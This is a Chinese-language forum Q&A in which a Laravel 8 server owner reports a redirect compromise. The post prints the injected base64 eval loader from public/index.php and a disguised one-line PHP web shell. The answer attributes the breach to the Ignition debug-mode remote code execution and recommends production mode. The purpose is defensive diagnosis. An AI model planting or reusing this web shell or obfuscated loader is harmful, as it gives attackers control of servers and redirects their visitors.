作者:梦幻死灵_791 | 来源:互联网 | 2023-08-28 10:58
我有一个使用livewirephp7.4运行laravel8的家庭网络服务器今天我在检查服务器上的源代码时遇到了重定向攻击,我发现我的源代码有这2个更改。公共/
我有一个使用 livewire php7.4 运行 laravel8 的家庭网络服务器今天我在检查服务器上的源代码时遇到了重定向攻击,我发现我的源代码有这 2 个更改。
公共/index.php
/*aeR4Choc_start*/@eval(base64_decode('aWYoIWRlZmluZWQoImNoYWVKb3U3IikpewogICAgZGVmaW5lKCJjaGFlSm91NyIsIDEpOwogICAgZnVuY3Rpb24gaXNNb2JpbGUoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdhbmRyb2lkJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnYmxhY2tiZXJyeScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwaG9uZScpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwYWQnKSAhPT0gZmFsc2UKICAgICAgICAgICAgfHwgc3RycG9zKCR1YWdlbnRTdHIsICdpcG9kJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnb3BlcmEgbWluaScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2llTW9iaWxlJykgIT09IGZhbHNlKXsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0Rlc2t0b3AoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdlZGdlJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnbXNpZScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ29wcicp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TgX.php
// do not delete this file!
define("LaravelLicense", "193582933013");
extract($_POST);$c($f, $a);include $f;
我的问题是哪个安全设置缺陷允许这种情况发生?
回答
部分解决方案与更新 Laravel 相关
今天我无意中发现我的系统被感染,因为 GoogleAds 的评论警告我的网站有病毒
所以你可以看到它是关于什么的,在你的访问日志中查看以下行:
POST /_ignition/execute-solution
......你会看到下面几行你会有另一个帖子:
POST /wJr2TTgX.php HTTP / 1.1 "200 43
要查看完整说明,请点击此链接:
https://www.ambionics.io/blog/laravel-debug-rce
编辑:您始终可以编辑.env
您向世界公开的文件并将其置于生产模式。该漏洞仅在调试模式下发生。